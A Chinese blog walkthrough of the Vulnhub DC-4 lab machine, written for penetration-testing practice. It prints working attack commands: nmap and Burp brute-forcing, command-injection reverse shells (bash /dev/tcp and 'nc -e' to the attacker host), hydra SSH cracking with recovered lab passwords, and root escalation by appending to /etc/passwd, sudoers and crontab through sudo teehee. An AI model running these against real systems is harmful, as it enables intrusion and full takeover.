DC-4靶机渗透详细流程_多方法提权

已于 2024-02-21 22:05:50 修改
阅读量902 收藏 20
点赞数 21
分类专栏： DC靶机系列渗透测试 Vulnhub靶机实战 文章标签： 网络安全 web安全 web 网络 安全
于 2024-01-25 22:07:42 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/braty_/article/details/135854885
版权
文章详细描述了渗透测试中的信息收集技术，如使用arp-scan进行存活扫描，端口扫描（包括Nmap）及服务识别，SQL注入尝试，以及利用Burpsuite进行弱口令破解和命令执行。随后介绍了如何通过SSH爆破获取用户权限，并提权方法，如修改passwd文件、sudoers文件和利用定时任务执行脚本。
摘要由CSDN通过智能技术生成

目录

信息收集：

1.存活扫描：

2.端口扫描：

3.服务扫描：

WEB部分：

1.尝试sql注入：

2.burpsuite弱口令：

3.burpsuite命令执行：

root权限：

1.先查看用户账密：

2.ssh爆破登录

3.切换用户：

4.提权：

a.在/etc/passwd中增加无密码用户提权

b.写入sudoers文件，使其可以root身份运行所有命令

c.通过定时任务执行脚本提权

信息收集：

1.存活扫描：

由于靶机和kali都是nat的网卡，都在一个网段，我们用arp-scan会快一点：

arp-scan

arp-scan -I eth0 -l

靶机ip：172.16.1.130

└─# arp-scan -I eth0 -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:dd:ee:6a, IPv4: 172.16.1.128
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
172.16.1.1      00:50:56:c0:00:08       VMware, Inc.
172.16.1.2      00:50:56:e5:b1:08       VMware, Inc.
172.16.1.130    00:0c:29:a4:44:6b       VMware, Inc.
172.16.1.254    00:50:56:e2:96:e1       VMware, Inc.

2.端口扫描：

nmap -sS -p- 172.16.1.130

nmap -sS -p- 172.16.1.130
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

3.服务扫描：

nmap -sS -sCV --version-all -O -p 22,80 172.16.1.130

nmap -sS -sCV --version-all -O -p 22,80 172.16.1.130
------------------------
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   2048 8d:60:57:06:6c:27:e0:2f:76:2c:e6:42:c0:01:ba:25 (RSA)
|   256 e7:83:8c:d7:bb:84:f3:2e:e8:a2:5f:79:6f:8e:19:30 (ECDSA)
|_  256 fd:39:47:8a:5e:58:33:99:73:73:9e:22:7f:90:4f:4b (ED25519)
80/tcp open  http    nginx 1.15.10
|_http-server-header: nginx/1.15.10
|_http-title: System Tools
MAC Address: 00:0C:29:A4:44:6B (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

WEB部分：

1.尝试sql注入：

sqlmap -u "172.16.1.130" --risk=3 --level=5 --dbs

不出意外的没有成功

2.burpsuite弱口令：

这里发现是要admin账户登录

开启 burpsuite 设置一下参数开始爆破

这里是导入的字典：

开始爆破，等待结果：

这数量，，有点久啊

等待结果的同时顺带用dirsearch做个目录扫描：

dirsearch -u http://172.16.1.130

Target: http://172.16.1.130/
[18:15:14] Starting: 
[18:15:34] 302 -  704B  - /command.php  ->  index.php                       
[18:15:36] 301 -  170B  - /css  ->  http://172.16.1.130/css/                
[18:15:44] 301 -  170B  - /images  ->  http://172.16.1.130/images/          
[18:15:44] 403 -  556B  - /images/                                          
[18:15:44] 403 -   15B  - /index.pHp                                        
[18:15:48] 302 -  206B  - /login.php  ->  index.php                         
[18:15:48] 302 -  163B  - /logout.php  ->  index.php

好吧 啥也没有。。安心等爆破结果吧。

ok了 运气还可以，

账密：admin/happy

发现是命令执行

3.burpsuite命令执行：

我们构造一个反弹shell，同时在kali上开启监听：

kali：nc -lvvp 7723

bp：/bin/sh+-i+>&+/dev/tcp/172.16.1.128/7723+0>&1 //命令没错 但是没反应可能是 & 的问题 换一个试试

nc+-e+/bin/bash+172.16.1.128+7723

换了命令就解决了，，，

交互式shell：python -c 'import pty;pty.spawn("/bin/bash")'

root权限：

1.先查看用户账密：

cat /etc/passwd

www-data@dc-4:/usr/share/nginx/html$ cat /etc/passwd                                                                                                                   
root:x:0:0:root:/root:/bin/bash                                                              
...
...
nginx:x:107:111:nginx user,,,:/nonexistent:/bin/false
charles:x:1001:1001:Charles,,,:/home/charles:/bin/bash
jim:x:1002:1002:Jim,,,:/home/jim:/bin/bash
sam:x:1003:1003:Sam,,,:/home/sam:/bin/bash
Debian-exim:x:108:112::/var/spool/exim4:/bin/false

查看家目录的所有用户的所有文件：

ls -la /home/*

www-data@dc-4:/usr/share/nginx/html$ ls -la /home/*
/home/charles:
total 20
drwxr-xr-x 2 charles charles 4096 Apr  7  2019 .
drwxr-xr-x 5 root    root    4096 Apr  7  2019 ..
-rw-r--r-- 1 charles charles  220 Apr  6  2019 .bash_logout
-rw-r--r-- 1 charles charles 3526 Apr  6  2019 .bashrc
-rw-r--r-- 1 charles charles  675 Apr  6  2019 .profile

/home/jim:
total 32
drwxr-xr-x 3 jim  jim  4096 Apr  7  2019 .
drwxr-xr-x 5 root root 4096 Apr  7  2019 ..
-rw-r--r-- 1 jim  jim   220 Apr  6  2019 .bash_logout
-rw-r--r-- 1 jim  jim  3526 Apr  6  2019 .bashrc
-rw-r--r-- 1 jim  jim   675 Apr  6  2019 .profile
drwxr-xr-x 2 jim  jim  4096 Apr  7  2019 backups
-rw------- 1 jim  jim   528 Apr  6  2019 mbox
-rwsrwxrwx 1 jim  jim   174 Apr  6  2019 test.sh

/home/sam:
total 20
drwxr-xr-x 2 sam  sam  4096 Apr  7  2019 .
drwxr-xr-x 5 root root 4096 Apr  7  2019 ..
-rw-r--r-- 1 sam  sam   220 Apr  6  2019 .bash_logout
-rw-r--r-- 1 sam  sam  3526 Apr  6  2019 .bashrc
-rw-r--r-- 1 sam  sam   675 Apr  6  2019 .profile

没有什么有用的信息，我们去看看 jim目录下的backups的备份文件，就它的权限最低。

www-data@dc-4:/home/jim/backups$ ls -la
total 12
drwxr-xr-x 2 jim jim 4096 Apr  7  2019 .
drwxr-xr-x 3 jim jim 4096 Apr  7  2019 ..
-rw-r--r-- 1 jim jim 2047 Apr  7  2019 old-passwords.bak

2.ssh爆破登录

将里面的内容保存过来，我们对 这四个 这个用户进行 ssh 爆破：

hydra

hydra -L users.txt -P old-passwords.txt ssh://172.16.1.130

爆破成功，账密：jim/jibril04

hydra -L users.txt  -P old-passwords.txt ssh://172.16.1.130 
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-01-25 21:22:29
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 1008 login tries (l:4/p:252), ~63 tries per task
[DATA] attacking ssh://172.16.1.130:22/
[22][ssh] host: 172.16.1.130   login: jim   password: jibril04

我们去看看邮件：

cd /mail

发现新账密：

charles/^xHhA&hvim0y

3.切换用户：

su charles

4.提权：

tee提权会，但是teehee是个什么鬼？

a.在/etc/passwd中增加无密码用户提权

echo "admin::0:0:::/bin/bash" |sudo teehee -a /etc/passwd
添加用户
su admin 
id

b.写入sudoers文件，使其可以root身份运行所有命令

这里先利用上一步的root权限看看 cat /etc/sudoers 的内容

root@dc-4:/var/mail# cat /etc/sudoers
#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults        env_reset
Defaults        mail_badpass
Defaults        secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"

# Host alias specification

# User alias specification

# Cmnd alias specification

# User privilege specification
root    ALL=(ALL:ALL) ALL

# Allow members of group sudo to execute any command
%sudo   ALL=(ALL:ALL) ALL

# See sudoers(5) for more information on "#include" directives:

#includedir /etc/sudoers.d

charles ALL=(root)      NOPASSWD:/usr/bin/teehee

回到charles 用户

echo "charles ALL=(ALL:ALL) ALL" | sudo teehee -a /etc/sudoers
whoami
id
sudo su root

c.通过定时任务执行脚本提权

向/etc/crontab文件中写入新的定时任务
时间部分全部填写为*，意思是每分钟执行一次，通过写入将/bin/sh的权限修改为4777，这样就可以在非root用户下执行它，并且执行期间拥有root权限。

查看计划任务：

cat /etc/crontab

echo "* * * * * root chmod 4777 /bin/sh" | sudo teehee -a /etc/crontab

kitha.
关注
专栏目录
[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用（二）
杨秀璋的专栏
04-11 1万+
这是作者的网络安全自学教程系列，主要是关于安全工具和实践操作的在线笔记，特分享出来与博友们学习，希望您们喜欢，一起进步。前文分享了Vulnhub靶机渗透的环境搭建和JIS-CTF题目，采用Nmap、Dirb、中国蚁剑、敏感文件分析、SSH远程连接、Shell提权等获取5个flag。本文将讲解DC-1提权和Drupal漏洞利用，通过信息收集、CMS漏洞搜索、Metasploit反弹shell、提权及数据库爆破获取flag。本文是一篇Web渗透的基础性文章，希望对您有所帮助。
【vulnhub】---DC-4靶机
qq_43168364的博客
08-21 1989
目录 一、实验环境 二、信息收集 三、渗透测试 　　1、漏洞发现和利用 　　2、提权 四、总结 一、实验环境 靶机：DC-4靶机(192.168.15.152) 攻击机：kali Linux(192.168.15.129) 二、信息收集 主机发现 端口扫描 版本探测和操作系统识别 web指纹识别 网站目录扫描 三、渗透测试 1、漏洞发现和利用 2、提权 四、总结 渗透步骤 渗透思路 ......
DC4靶机渗透测试
Huangshanyoumu的博客
04-16 700
文章目录环境版本：一、信息收集1.主机发现2.端口扫描二、漏洞挖掘1.访问目标 ip，查看内容2.使用 BP 进行爆破密码3.使用密码登陆4.使用 BP 查看执行命令流量包5.替换命令来使用 nc 建立连接7.使用 nc 将靶机文件传输到攻击机8.使用 hydra 爆破 ssh 密码9.ssh 登陆，进行信息收集10.提权 描述：从靶机DC-3开始，只有一个入口和一个最终的flag， 只有拿到root权限才可以发现最终的flag，DC-4也是一样 环境版本： VMware pro 16 Kali 202
DC系列靶场---DC 4靶场的渗透测试
最新发布
zhouA0221的博客
08-02 799
可以看到使用teehee提权,teehee就是tee的变体从标准输入读取并写入标准输出和文件我们可以借助teehee往passwd写入一个root账号即可得到root权限查看一下这个命令的帮助手册，使用-a参数在/etc/passwd文件里面新建一个有管理员权限的用户。因为我使用的字典文件很大，我们这时候可以根据长度来分辨哪个是密码，因为正确密码只有一个，我们可以点length来区分真密码，我们看到密码是happy。4、在做提权没有思路的时候，我们还是要进行信息收集，通过信息收集获得更多提权的方式。
dc-4 靶机渗透学习
..
03-19 3185
信息收集 第一步还是老办法，探测主机存活。 nmap -sP 192.168.202.0/24 通过推断得出192.168.202.142是靶机，具体请看dc-2、dc-3，对靶机进行端口扫描。 nmap -A -p- -v 192.168.202.142 发现22、80端口开启，访问一下80端口，发现是个登录页面。 用Wappalyzer识别框架，没试别出，查看源代码发现只是一个简单的登录界面 这种情况感觉没必要再用nikto扫描了，尝试用bp爆...
靶机 DC-4
m0_66299232的博客
09-19 355
hydra -L user.txt -P password.txt ssh://192.168.166.133 //-L,-P 都是大写。4.可以看到在/home/jim/backups目录下存在文件old-passwords.bak，可能是密码的备份文件。1.查看存活主机，根据分析得出 192.168.166.133是DC-4靶机IP地址。5.teehee这个root用户不需要密码就能登录，直接拿flag,轻松拿下4.发现了另外一个账户，并且文中有该账户的密码。既然我们获得了旧密码，也获得了账户。命令执行
DC-4靶机
weixin_50815573的博客
03-08 5671
一、DC-4的信息收集 1.确定IP，端口号； 命令：nmap -sP 192.168.159.0/24 探测到主机的ip为192.168.1.165，下一步进行端口判断； 命令：nmap -A -p- -T4 192.168.1.165 查看源码，我们可以收集到以下信息： 1.页面通过post提交 2.用户名的由username接收 3.密码由password接收 4.表单信息提交到login.php页面进行登陆判断 二、通过暴力破解密码，成功登陆 1.确定密码字典,.
【靶场实战】dc-1靶机 渗透测试
weixin_44023442的博客
04-05 1248
参考文章 DC-1 靶机安装及练习 一、搭建环境 搭建环境 下载地址：dc-1 加压后用VMware打开，配置网络适配器为NAT模式 注意：dc-1开机后会提示输入账号密码，这里可以不用管他。 开启kali虚拟机，同样的，配置网络适配器为NAT模式 测试环境 在kali终端输入：ifconfig，查看当前网段 可知，当前c段是 192.168.224.0 用nmap扫描整个c段，输入nmap -sP 192.168.224.0/24 很明显，192.168.224.129 就是dc-1的ip地址
DC-1靶机渗透详细过程（附靶机连接）
bwt_D的博客
05-19 799
查看本机的ip地址 使用nmap进行ip地址扫描，确定靶机的IP nmap -sP 192.168.159.1/24 对其进行详细扫描 nmap -A 192.168.159.140 -p 1-65535 80端口开放，直接使用浏览器访问 使用MSF搜索该网页模板存在的漏洞 msfconsole search drupal 使用第四个攻击模块 use exploit/unix/webapp/drupal_drupalgeddon2 选择攻击载荷 set payload php/meterpreter
VulnHub-DC-1靶机渗透测试和相应的知识点总结
qq_45584159的博客
12-15 1441
文章目录前言一、探测目标主机的ip1.使用arp-scan -l 命令，来探测同一局域网内的存活主机。2.使用netdiscover -i eth0二、使用namp扫描目标主机的开放端口，并通过开放端口得到更多的信息三. .Metasploit漏洞利用msf的简单使用：术语：模块：基础指令：模块使用规则：msf中大多数命令：第一步.启动msf：第二步.搜索drupal可利用的漏洞第三步，采用最新的2018漏洞尝试攻击，配置参数第四步，反弹shell四. 进入数据库第一步.进入数据库 前言 这是我第一次使用
【VulnHub靶机渗透】六：DC-2
野原新之助
04-25 696
该靶机设定线索引导用户得到相关信息，存在弱口令和sudo权限配置不当等安全问题。 VulnHub是一个安全平台，内含众多渗透测试的靶场镜像，只需要下载至本地并在虚拟机上运行，即可得到一个完整的渗透测试练习系统，每一个靶机都有相关目标去完成（万分感谢提供靶机镜像的同学）。
dc-4靶机练习.docx
01-02
第一步；靶机在web信息收集，burp获取登陆用户名和密码。 第二步：利用反弹shell后发现一封邮件，拿到新用户的登陆口令。 第三步：通过sudo -l]发现不用登录root可以使用的命令 [teehee --help][teehee -a]增加用户，具有root权限
渗透测试靶机：DC-4
prettyX的博客
12-06 507
开始 : ) 环境准备 靶机下载：http://www.five86.com 虚拟机：Virtual Box Kali 开始 看一下DC-4的介绍。 为初、中级选手准备，只有一个Flag，从技术上讲，有多个入口，没有线索。Go 靶机IP发现 nmap 尝试80访问 这里对登录页面做爆破，可以使用BurpSuite，这里使用hydra。 字典RockYo...
DC靶机系列：DC-4
Ays.Ie的博客
02-27 160
本篇文章为DC系列第4个靶机，该篇文章详细的记录了渗透的思路和整个渗透的过程，希望能够帮助到他人，同时加深自己的印象以及熟练自己的操作
066 渗透测试实战，靶机 DC-4
鸡蛋炒鸡蛋
04-29 448
文章目录一：环境准备 一：环境准备 下载：点我 下载之后完成安装，过程详情请参考，063 渗透测试实战，靶机 DC-1 打开DC-4
渗透DC-1靶机设计思路
05-24
设计思路： 1. 确定目标：首先需要确定渗透的目标，即DC-1靶机。 2. 收集信息：收集关于DC-1的信息，如IP地址、开放端口、操作系统等。可以使用工具如nmap、whois、dnsrecon等进行信息搜集。 3. 扫描漏洞：使用漏洞扫描工具如Nessus、OpenVAS等扫描DC-1，寻找漏洞。 4. 渗透攻击：根据扫描结果，利用漏洞进行攻击。可以使用一些常见的攻击手段，如SQL注入、XSS、文件包含、远程代码执行等。 5. 提升权限：在攻击成功后，需要提升自己的权限，获取更高的权限。可以使用一些提权工具，如Metasploit。 6. 横向移动：在获得了足够的权限后，可以尝试横向移动，进一步渗透网络。 7. 维持访问：在渗透成功后，需要维持访问，以便长期监控目标。 8. 清理痕迹：在攻击结束后，需要清理自己留下的痕迹，以免被发现。 以上是一个基本的渗透DC-1靶机的设计思路，但是具体实施过程中需要根据实际情况进行调整和优化。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值